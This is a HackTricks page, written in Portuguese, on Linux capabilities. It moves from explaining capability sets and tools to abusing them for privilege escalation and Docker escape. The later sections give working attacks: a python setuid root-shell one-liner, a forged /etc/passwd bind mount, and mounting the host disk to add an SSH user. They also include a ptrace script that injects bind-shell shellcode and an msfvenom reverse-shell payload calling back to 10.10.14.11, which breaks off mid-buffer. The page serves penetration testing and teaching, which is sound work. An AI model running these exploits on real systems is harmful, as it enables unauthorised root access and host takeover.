mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-20 01:55:46 +00:00
1603 lines
72 KiB
Markdown
1603 lines
72 KiB
Markdown
# Linux Capabilities
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
{% endhint %}
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.\\
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
## Linux Capabilities
|
||
|
||
As capacidades do Linux dividem **os privilégios de root em unidades menores e distintas**, permitindo que processos tenham um subconjunto de privilégios. Isso minimiza os riscos ao não conceder privilégios de root completos desnecessariamente.
|
||
|
||
### O Problema:
|
||
- Usuários normais têm permissões limitadas, afetando tarefas como abrir um socket de rede que requer acesso root.
|
||
|
||
### Conjuntos de Capacidades:
|
||
|
||
1. **Inherited (CapInh)**:
|
||
- **Propósito**: Determina as capacidades transmitidas do processo pai.
|
||
- **Funcionalidade**: Quando um novo processo é criado, ele herda as capacidades de seu pai neste conjunto. Útil para manter certos privilégios durante a criação de processos.
|
||
- **Restrições**: Um processo não pode ganhar capacidades que seu pai não possuía.
|
||
|
||
2. **Effective (CapEff)**:
|
||
- **Propósito**: Representa as capacidades reais que um processo está utilizando em qualquer momento.
|
||
- **Funcionalidade**: É o conjunto de capacidades verificadas pelo kernel para conceder permissão para várias operações. Para arquivos, este conjunto pode ser uma flag indicando se as capacidades permitidas do arquivo devem ser consideradas efetivas.
|
||
- **Significado**: O conjunto efetivo é crucial para verificações imediatas de privilégios, atuando como o conjunto ativo de capacidades que um processo pode usar.
|
||
|
||
3. **Permitted (CapPrm)**:
|
||
- **Propósito**: Define o conjunto máximo de capacidades que um processo pode possuir.
|
||
- **Funcionalidade**: Um processo pode elevar uma capacidade do conjunto permitido para seu conjunto efetivo, dando-lhe a capacidade de usar essa capacidade. Ele também pode descartar capacidades de seu conjunto permitido.
|
||
- **Limite**: Atua como um limite superior para as capacidades que um processo pode ter, garantindo que um processo não exceda seu escopo de privilégio predefinido.
|
||
|
||
4. **Bounding (CapBnd)**:
|
||
- **Propósito**: Coloca um teto nas capacidades que um processo pode adquirir durante seu ciclo de vida.
|
||
- **Funcionalidade**: Mesmo que um processo tenha uma certa capacidade em seu conjunto herdável ou permitido, ele não pode adquirir essa capacidade a menos que também esteja no conjunto de limites.
|
||
- **Caso de uso**: Este conjunto é particularmente útil para restringir o potencial de escalonamento de privilégios de um processo, adicionando uma camada extra de segurança.
|
||
|
||
5. **Ambient (CapAmb)**:
|
||
- **Propósito**: Permite que certas capacidades sejam mantidas durante uma chamada de sistema `execve`, que normalmente resultaria em um reset completo das capacidades do processo.
|
||
- **Funcionalidade**: Garante que programas não-SUID que não têm capacidades de arquivo associadas possam reter certos privilégios.
|
||
- **Restrições**: As capacidades neste conjunto estão sujeitas às restrições dos conjuntos herdáveis e permitidos, garantindo que não excedam os privilégios permitidos do processo.
|
||
```python
|
||
# Code to demonstrate the interaction of different capability sets might look like this:
|
||
# Note: This is pseudo-code for illustrative purposes only.
|
||
def manage_capabilities(process):
|
||
if process.has_capability('cap_setpcap'):
|
||
process.add_capability_to_set('CapPrm', 'new_capability')
|
||
process.limit_capabilities('CapBnd')
|
||
process.preserve_capabilities_across_execve('CapAmb')
|
||
```
|
||
Para mais informações, consulte:
|
||
|
||
* [https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work](https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work)
|
||
* [https://blog.ploetzli.ch/2014/understanding-linux-capabilities/](https://blog.ploetzli.ch/2014/understanding-linux-capabilities/)
|
||
|
||
## Capacidades de Processos & Binários
|
||
|
||
### Capacidades de Processos
|
||
|
||
Para ver as capacidades de um processo específico, use o arquivo **status** no diretório /proc. Como ele fornece mais detalhes, vamos limitá-lo apenas às informações relacionadas às capacidades do Linux.\
|
||
Observe que para todos os processos em execução, as informações de capacidade são mantidas por thread; para binários no sistema de arquivos, são armazenadas em atributos estendidos.
|
||
|
||
Você pode encontrar as capacidades definidas em /usr/include/linux/capability.h
|
||
|
||
Você pode encontrar as capacidades do processo atual em `cat /proc/self/status` ou fazendo `capsh --print` e de outros usuários em `/proc/<pid>/status`
|
||
```bash
|
||
cat /proc/1234/status | grep Cap
|
||
cat /proc/$$/status | grep Cap #This will print the capabilities of the current process
|
||
```
|
||
Este comando deve retornar 5 linhas na maioria dos sistemas.
|
||
|
||
* CapInh = Capacidades herdadas
|
||
* CapPrm = Capacidades permitidas
|
||
* CapEff = Capacidades efetivas
|
||
* CapBnd = Conjunto de limites
|
||
* CapAmb = Conjunto de capacidades ambientais
|
||
```bash
|
||
#These are the typical capabilities of a root owned process (all)
|
||
CapInh: 0000000000000000
|
||
CapPrm: 0000003fffffffff
|
||
CapEff: 0000003fffffffff
|
||
CapBnd: 0000003fffffffff
|
||
CapAmb: 0000000000000000
|
||
```
|
||
Esses números hexadecimais não fazem sentido. Usando a utilidade capsh, podemos decodificá-los nos nomes das capacidades.
|
||
```bash
|
||
capsh --decode=0000003fffffffff
|
||
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37
|
||
```
|
||
Vamos verificar agora as **capabilities** usadas pelo `ping`:
|
||
```bash
|
||
cat /proc/9491/status | grep Cap
|
||
CapInh: 0000000000000000
|
||
CapPrm: 0000000000003000
|
||
CapEff: 0000000000000000
|
||
CapBnd: 0000003fffffffff
|
||
CapAmb: 0000000000000000
|
||
|
||
capsh --decode=0000000000003000
|
||
0x0000000000003000=cap_net_admin,cap_net_raw
|
||
```
|
||
Embora isso funcione, há outra maneira mais fácil. Para ver as capacidades de um processo em execução, basta usar a ferramenta **getpcaps** seguida pelo seu ID de processo (PID). Você também pode fornecer uma lista de IDs de processo.
|
||
```bash
|
||
getpcaps 1234
|
||
```
|
||
Vamos verificar aqui as capacidades do `tcpdump` após ter dado ao binário capacidades suficientes (`cap_net_admin` e `cap_net_raw`) para monitorar a rede (_tcpdump está rodando no processo 9562_):
|
||
```bash
|
||
#The following command give tcpdump the needed capabilities to sniff traffic
|
||
$ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
|
||
|
||
$ getpcaps 9562
|
||
Capabilities for `9562': = cap_net_admin,cap_net_raw+ep
|
||
|
||
$ cat /proc/9562/status | grep Cap
|
||
CapInh: 0000000000000000
|
||
CapPrm: 0000000000003000
|
||
CapEff: 0000000000003000
|
||
CapBnd: 0000003fffffffff
|
||
CapAmb: 0000000000000000
|
||
|
||
$ capsh --decode=0000000000003000
|
||
0x0000000000003000=cap_net_admin,cap_net_raw
|
||
```
|
||
Como você pode ver, as capacidades dadas correspondem aos resultados das 2 maneiras de obter as capacidades de um binário.\
|
||
A ferramenta _getpcaps_ usa a chamada de sistema **capget()** para consultar as capacidades disponíveis para um determinado thread. Esta chamada de sistema só precisa fornecer o PID para obter mais informações.
|
||
|
||
### Capacidades de Binários
|
||
|
||
Os binários podem ter capacidades que podem ser usadas durante a execução. Por exemplo, é muito comum encontrar o binário `ping` com a capacidade `cap_net_raw`:
|
||
```bash
|
||
getcap /usr/bin/ping
|
||
/usr/bin/ping = cap_net_raw+ep
|
||
```
|
||
Você pode **procurar binários com capacidades** usando:
|
||
```bash
|
||
getcap -r / 2>/dev/null
|
||
```
|
||
### Removendo capacidades com capsh
|
||
|
||
Se removermos as capacidades CAP\_NET\_RAW para _ping_, então a utilidade ping não deve mais funcionar.
|
||
```bash
|
||
capsh --drop=cap_net_raw --print -- -c "tcpdump"
|
||
```
|
||
Além da saída do _capsh_ em si, o comando _tcpdump_ também deve gerar um erro.
|
||
|
||
> /bin/bash: /usr/sbin/tcpdump: Operação não permitida
|
||
|
||
O erro mostra claramente que o comando ping não tem permissão para abrir um socket ICMP. Agora sabemos com certeza que isso funciona como esperado.
|
||
|
||
### Remover Capacidades
|
||
|
||
Você pode remover capacidades de um binário com
|
||
```bash
|
||
setcap -r </path/to/binary>
|
||
```
|
||
## User Capabilities
|
||
|
||
Aparentemente **é possível atribuir capacidades também a usuários**. Isso provavelmente significa que cada processo executado pelo usuário poderá usar as capacidades do usuário.\
|
||
Baseado em [isso](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [isso](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html) e [isso](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user), alguns arquivos precisam ser configurados para dar a um usuário certas capacidades, mas o que atribui as capacidades a cada usuário será `/etc/security/capability.conf`.\
|
||
Exemplo de arquivo:
|
||
```bash
|
||
# Simple
|
||
cap_sys_ptrace developer
|
||
cap_net_raw user1
|
||
|
||
# Multiple capablities
|
||
cap_net_admin,cap_net_raw jrnetadmin
|
||
# Identical, but with numeric values
|
||
12,13 jrnetadmin
|
||
|
||
# Combining names and numerics
|
||
cap_sys_admin,22,25 jrsysadmin
|
||
```
|
||
## Capacidades do Ambiente
|
||
|
||
Compilando o seguinte programa, é possível **gerar um shell bash dentro de um ambiente que fornece capacidades**.
|
||
|
||
{% code title="ambient.c" %}
|
||
```c
|
||
/*
|
||
* Test program for the ambient capabilities
|
||
*
|
||
* compile using:
|
||
* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
|
||
* Set effective, inherited and permitted capabilities to the compiled binary
|
||
* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
|
||
*
|
||
* To get a shell with additional caps that can be inherited do:
|
||
*
|
||
* ./ambient /bin/bash
|
||
*/
|
||
|
||
#include <stdlib.h>
|
||
#include <stdio.h>
|
||
#include <string.h>
|
||
#include <errno.h>
|
||
#include <sys/prctl.h>
|
||
#include <linux/capability.h>
|
||
#include <cap-ng.h>
|
||
|
||
static void set_ambient_cap(int cap) {
|
||
int rc;
|
||
capng_get_caps_process();
|
||
rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
|
||
if (rc) {
|
||
printf("Cannot add inheritable cap\n");
|
||
exit(2);
|
||
}
|
||
capng_apply(CAPNG_SELECT_CAPS);
|
||
/* Note the two 0s at the end. Kernel checks for these */
|
||
if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
|
||
perror("Cannot set cap");
|
||
exit(1);
|
||
}
|
||
}
|
||
void usage(const char * me) {
|
||
printf("Usage: %s [-c caps] new-program new-args\n", me);
|
||
exit(1);
|
||
}
|
||
int default_caplist[] = {
|
||
CAP_NET_RAW,
|
||
CAP_NET_ADMIN,
|
||
CAP_SYS_NICE,
|
||
-1
|
||
};
|
||
int * get_caplist(const char * arg) {
|
||
int i = 1;
|
||
int * list = NULL;
|
||
char * dup = strdup(arg), * tok;
|
||
for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) {
|
||
list = realloc(list, (i + 1) * sizeof(int));
|
||
if (!list) {
|
||
perror("out of memory");
|
||
exit(1);
|
||
}
|
||
list[i - 1] = atoi(tok);
|
||
list[i] = -1;
|
||
i++;
|
||
}
|
||
return list;
|
||
}
|
||
int main(int argc, char ** argv) {
|
||
int rc, i, gotcaps = 0;
|
||
int * caplist = NULL;
|
||
int index = 1; // argv index for cmd to start
|
||
if (argc < 2)
|
||
usage(argv[0]);
|
||
if (strcmp(argv[1], "-c") == 0) {
|
||
if (argc <= 3) {
|
||
usage(argv[0]);
|
||
}
|
||
caplist = get_caplist(argv[2]);
|
||
index = 3;
|
||
}
|
||
if (!caplist) {
|
||
caplist = (int * ) default_caplist;
|
||
}
|
||
for (i = 0; caplist[i] != -1; i++) {
|
||
printf("adding %d to ambient list\n", caplist[i]);
|
||
set_ambient_cap(caplist[i]);
|
||
}
|
||
printf("Ambient forking shell\n");
|
||
if (execv(argv[index], argv + index))
|
||
perror("Cannot exec");
|
||
return 0;
|
||
}
|
||
```
|
||
{% endcode %}
|
||
```bash
|
||
gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
|
||
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
|
||
./ambient /bin/bash
|
||
```
|
||
Dentro do **bash executado pelo binário de ambiente compilado**, é possível observar as **novas capacidades** (um usuário regular não terá nenhuma capacidade na seção "atual").
|
||
```bash
|
||
capsh --print
|
||
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip
|
||
```
|
||
{% hint style="danger" %}
|
||
Você **só pode adicionar capacidades que estão presentes** tanto no conjunto permitido quanto no conjunto herdável.
|
||
{% endhint %}
|
||
|
||
### Binários cientes de capacidade / Binários sem capacidade
|
||
|
||
Os **binários cientes de capacidade não usarão as novas capacidades** fornecidas pelo ambiente, no entanto, os **binários sem capacidade as usarão** pois não as rejeitarão. Isso torna os binários sem capacidade vulneráveis dentro de um ambiente especial que concede capacidades a binários.
|
||
|
||
## Capacidades de Serviço
|
||
|
||
Por padrão, um **serviço executado como root terá todas as capacidades atribuídas**, e em algumas ocasiões isso pode ser perigoso.\
|
||
Portanto, um arquivo de **configuração de serviço** permite **especificar** as **capacidades** que você deseja que ele tenha, **e** o **usuário** que deve executar o serviço para evitar executar um serviço com privilégios desnecessários:
|
||
```bash
|
||
[Service]
|
||
User=bob
|
||
AmbientCapabilities=CAP_NET_BIND_SERVICE
|
||
```
|
||
## Capacidades em Contêineres Docker
|
||
|
||
Por padrão, o Docker atribui algumas capacidades aos contêineres. É muito fácil verificar quais são essas capacidades executando:
|
||
```bash
|
||
docker run --rm -it r.j3ss.co/amicontained bash
|
||
Capabilities:
|
||
BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap
|
||
|
||
# Add a capabilities
|
||
docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash
|
||
|
||
# Add all capabilities
|
||
docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash
|
||
|
||
# Remove all and add only one
|
||
docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash
|
||
```
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
## Privesc/Container Escape
|
||
|
||
As capacidades são úteis quando você **quer restringir seus próprios processos após realizar operações privilegiadas** (por exemplo, após configurar chroot e vincular a um socket). No entanto, elas podem ser exploradas ao passar comandos ou argumentos maliciosos que são então executados como root.
|
||
|
||
Você pode forçar capacidades em programas usando `setcap` e consultar essas usando `getcap`:
|
||
```bash
|
||
#Set Capability
|
||
setcap cap_net_raw+ep /sbin/ping
|
||
|
||
#Get Capability
|
||
getcap /sbin/ping
|
||
/sbin/ping = cap_net_raw+ep
|
||
```
|
||
O `+ep` significa que você está adicionando a capacidade (“-” removeria) como Eficaz e Permitida.
|
||
|
||
Para identificar programas em um sistema ou pasta com capacidades:
|
||
```bash
|
||
getcap -r / 2>/dev/null
|
||
```
|
||
### Exemplo de exploração
|
||
|
||
No exemplo a seguir, o binário `/usr/bin/python2.6` é encontrado vulnerável a privesc:
|
||
```bash
|
||
setcap cap_setuid+ep /usr/bin/python2.7
|
||
/usr/bin/python2.7 = cap_setuid+ep
|
||
|
||
#Exploit
|
||
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'
|
||
```
|
||
**Capacidades** necessárias pelo `tcpdump` para **permitir que qualquer usuário capture pacotes**:
|
||
```bash
|
||
setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
|
||
getcap /usr/sbin/tcpdump
|
||
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip
|
||
```
|
||
### O caso especial das capacidades "vazias"
|
||
|
||
[Dos docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): Note que é possível atribuir conjuntos de capacidades vazios a um arquivo de programa, e assim é possível criar um programa set-user-ID-root que altera o set-user-ID efetivo e salvo do processo que executa o programa para 0, mas não confere capacidades a esse processo. Ou, simplificando, se você tem um binário que:
|
||
|
||
1. não é propriedade do root
|
||
2. não tem bits `SUID`/`SGID` definidos
|
||
3. tem conjuntos de capacidades vazios (por exemplo: `getcap myelf` retorna `myelf =ep`)
|
||
|
||
então **esse binário será executado como root**.
|
||
|
||
## CAP\_SYS\_ADMIN
|
||
|
||
**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** é uma capacidade Linux altamente potente, frequentemente equiparada a um nível quase root devido aos seus extensos **privilegios administrativos**, como montar dispositivos ou manipular recursos do kernel. Embora seja indispensável para contêineres que simulam sistemas inteiros, **`CAP_SYS_ADMIN` apresenta desafios significativos de segurança**, especialmente em ambientes containerizados, devido ao seu potencial para escalonamento de privilégios e comprometimento do sistema. Portanto, seu uso exige avaliações de segurança rigorosas e gerenciamento cauteloso, com uma forte preferência por descartar essa capacidade em contêineres específicos de aplicativos para aderir ao **princípio do menor privilégio** e minimizar a superfície de ataque.
|
||
|
||
**Exemplo com binário**
|
||
```bash
|
||
getcap -r / 2>/dev/null
|
||
/usr/bin/python2.7 = cap_sys_admin+ep
|
||
```
|
||
Usando python, você pode montar um arquivo _passwd_ modificado em cima do arquivo _passwd_ real:
|
||
```bash
|
||
cp /etc/passwd ./ #Create a copy of the passwd file
|
||
openssl passwd -1 -salt abc password #Get hash of "password"
|
||
vim ./passwd #Change roots passwords of the fake passwd file
|
||
```
|
||
E finalmente **monte** o arquivo `passwd` modificado em `/etc/passwd`:
|
||
```python
|
||
from ctypes import *
|
||
libc = CDLL("libc.so.6")
|
||
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
|
||
MS_BIND = 4096
|
||
source = b"/path/to/fake/passwd"
|
||
target = b"/etc/passwd"
|
||
filesystemtype = b"none"
|
||
options = b"rw"
|
||
mountflags = MS_BIND
|
||
libc.mount(source, target, filesystemtype, mountflags, options)
|
||
```
|
||
E você poderá **`su` como root** usando a senha "password".
|
||
|
||
**Exemplo com ambiente (Docker breakout)**
|
||
|
||
Você pode verificar as capacidades habilitadas dentro do contêiner docker usando:
|
||
```
|
||
capsh --print
|
||
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
|
||
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
|
||
Securebits: 00/0x0/1'b0
|
||
secure-noroot: no (unlocked)
|
||
secure-no-suid-fixup: no (unlocked)
|
||
secure-keep-caps: no (unlocked)
|
||
uid=0(root)
|
||
gid=0(root)
|
||
groups=0(root)
|
||
```
|
||
Dentro da saída anterior, você pode ver que a capacidade SYS\_ADMIN está habilitada.
|
||
|
||
* **Montar**
|
||
|
||
Isso permite que o contêiner docker **monte o disco do host e acesse-o livremente**:
|
||
```bash
|
||
fdisk -l #Get disk name
|
||
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
|
||
Units: sectors of 1 * 512 = 512 bytes
|
||
Sector size (logical/physical): 512 bytes / 512 bytes
|
||
I/O size (minimum/optimal): 512 bytes / 512 bytes
|
||
|
||
mount /dev/sda /mnt/ #Mount it
|
||
cd /mnt
|
||
chroot ./ bash #You have a shell inside the docker hosts disk
|
||
```
|
||
* **Acesso total**
|
||
|
||
No método anterior, conseguimos acessar o disco do host docker.\
|
||
Caso você descubra que o host está executando um servidor **ssh**, você poderia **criar um usuário dentro do disco do host docker** e acessá-lo via SSH:
|
||
```bash
|
||
#Like in the example before, the first step is to mount the docker host disk
|
||
fdisk -l
|
||
mount /dev/sda /mnt/
|
||
|
||
#Then, search for open ports inside the docker host
|
||
nc -v -n -w2 -z 172.17.0.1 1-65535
|
||
(UNKNOWN) [172.17.0.1] 2222 (?) open
|
||
|
||
#Finally, create a new user inside the docker host and use it to access via SSH
|
||
chroot /mnt/ adduser john
|
||
ssh john@172.17.0.1 -p 2222
|
||
```
|
||
## CAP\_SYS\_PTRACE
|
||
|
||
**Isso significa que você pode escapar do contêiner injetando um shellcode dentro de algum processo em execução no host.** Para acessar processos em execução no host, o contêiner precisa ser executado pelo menos com **`--pid=host`**.
|
||
|
||
**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** concede a capacidade de usar funcionalidades de depuração e rastreamento de chamadas de sistema fornecidas por `ptrace(2)` e chamadas de anexação de memória cruzada como `process_vm_readv(2)` e `process_vm_writev(2)`. Embora seja poderoso para fins de diagnóstico e monitoramento, se `CAP_SYS_PTRACE` estiver habilitado sem medidas restritivas, como um filtro seccomp em `ptrace(2)`, isso pode comprometer significativamente a segurança do sistema. Especificamente, pode ser explorado para contornar outras restrições de segurança, notavelmente aquelas impostas pelo seccomp, como demonstrado por [provas de conceito (PoC) como esta](https://gist.github.com/thejh/8346f47e359adecd1d53).
|
||
|
||
**Exemplo com binário (python)**
|
||
```bash
|
||
getcap -r / 2>/dev/null
|
||
/usr/bin/python2.7 = cap_sys_ptrace+ep
|
||
```
|
||
|
||
```python
|
||
import ctypes
|
||
import sys
|
||
import struct
|
||
# Macros defined in <sys/ptrace.h>
|
||
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
|
||
PTRACE_POKETEXT = 4
|
||
PTRACE_GETREGS = 12
|
||
PTRACE_SETREGS = 13
|
||
PTRACE_ATTACH = 16
|
||
PTRACE_DETACH = 17
|
||
# Structure defined in <sys/user.h>
|
||
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
|
||
class user_regs_struct(ctypes.Structure):
|
||
_fields_ = [
|
||
("r15", ctypes.c_ulonglong),
|
||
("r14", ctypes.c_ulonglong),
|
||
("r13", ctypes.c_ulonglong),
|
||
("r12", ctypes.c_ulonglong),
|
||
("rbp", ctypes.c_ulonglong),
|
||
("rbx", ctypes.c_ulonglong),
|
||
("r11", ctypes.c_ulonglong),
|
||
("r10", ctypes.c_ulonglong),
|
||
("r9", ctypes.c_ulonglong),
|
||
("r8", ctypes.c_ulonglong),
|
||
("rax", ctypes.c_ulonglong),
|
||
("rcx", ctypes.c_ulonglong),
|
||
("rdx", ctypes.c_ulonglong),
|
||
("rsi", ctypes.c_ulonglong),
|
||
("rdi", ctypes.c_ulonglong),
|
||
("orig_rax", ctypes.c_ulonglong),
|
||
("rip", ctypes.c_ulonglong),
|
||
("cs", ctypes.c_ulonglong),
|
||
("eflags", ctypes.c_ulonglong),
|
||
("rsp", ctypes.c_ulonglong),
|
||
("ss", ctypes.c_ulonglong),
|
||
("fs_base", ctypes.c_ulonglong),
|
||
("gs_base", ctypes.c_ulonglong),
|
||
("ds", ctypes.c_ulonglong),
|
||
("es", ctypes.c_ulonglong),
|
||
("fs", ctypes.c_ulonglong),
|
||
("gs", ctypes.c_ulonglong),
|
||
]
|
||
|
||
libc = ctypes.CDLL("libc.so.6")
|
||
|
||
pid=int(sys.argv[1])
|
||
|
||
# Define argument type and respone type.
|
||
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
|
||
libc.ptrace.restype = ctypes.c_uint64
|
||
|
||
# Attach to the process
|
||
libc.ptrace(PTRACE_ATTACH, pid, None, None)
|
||
registers=user_regs_struct()
|
||
|
||
# Retrieve the value stored in registers
|
||
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
|
||
print("Instruction Pointer: " + hex(registers.rip))
|
||
print("Injecting Shellcode at: " + hex(registers.rip))
|
||
|
||
# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
|
||
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
|
||
|
||
# Inject the shellcode into the running process byte by byte.
|
||
for i in xrange(0,len(shellcode),4):
|
||
# Convert the byte to little endian.
|
||
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
|
||
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
|
||
shellcode_byte=int(shellcode_byte_little_endian,16)
|
||
|
||
# Inject the byte.
|
||
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
|
||
|
||
print("Shellcode Injected!!")
|
||
|
||
# Modify the instuction pointer
|
||
registers.rip=registers.rip+2
|
||
|
||
# Set the registers
|
||
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
|
||
print("Final Instruction Pointer: " + hex(registers.rip))
|
||
|
||
# Detach from the process.
|
||
libc.ptrace(PTRACE_DETACH, pid, None, None)
|
||
```
|
||
**Exemplo com binário (gdb)**
|
||
|
||
`gdb` com a capacidade `ptrace`:
|
||
```
|
||
/usr/bin/gdb = cap_sys_ptrace+ep
|
||
```
|
||
Crie um shellcode com msfvenom para injetar na memória via gdb
|
||
```python
|
||
# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.py
|
||
buf = b""
|
||
buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
|
||
buf += b"\x48\x97\x48\xb9\x02\x00\x23\x29\x0a\x0a\x0e\x0b"
|
||
buf += b"\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05"
|
||
buf += b"\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
|
||
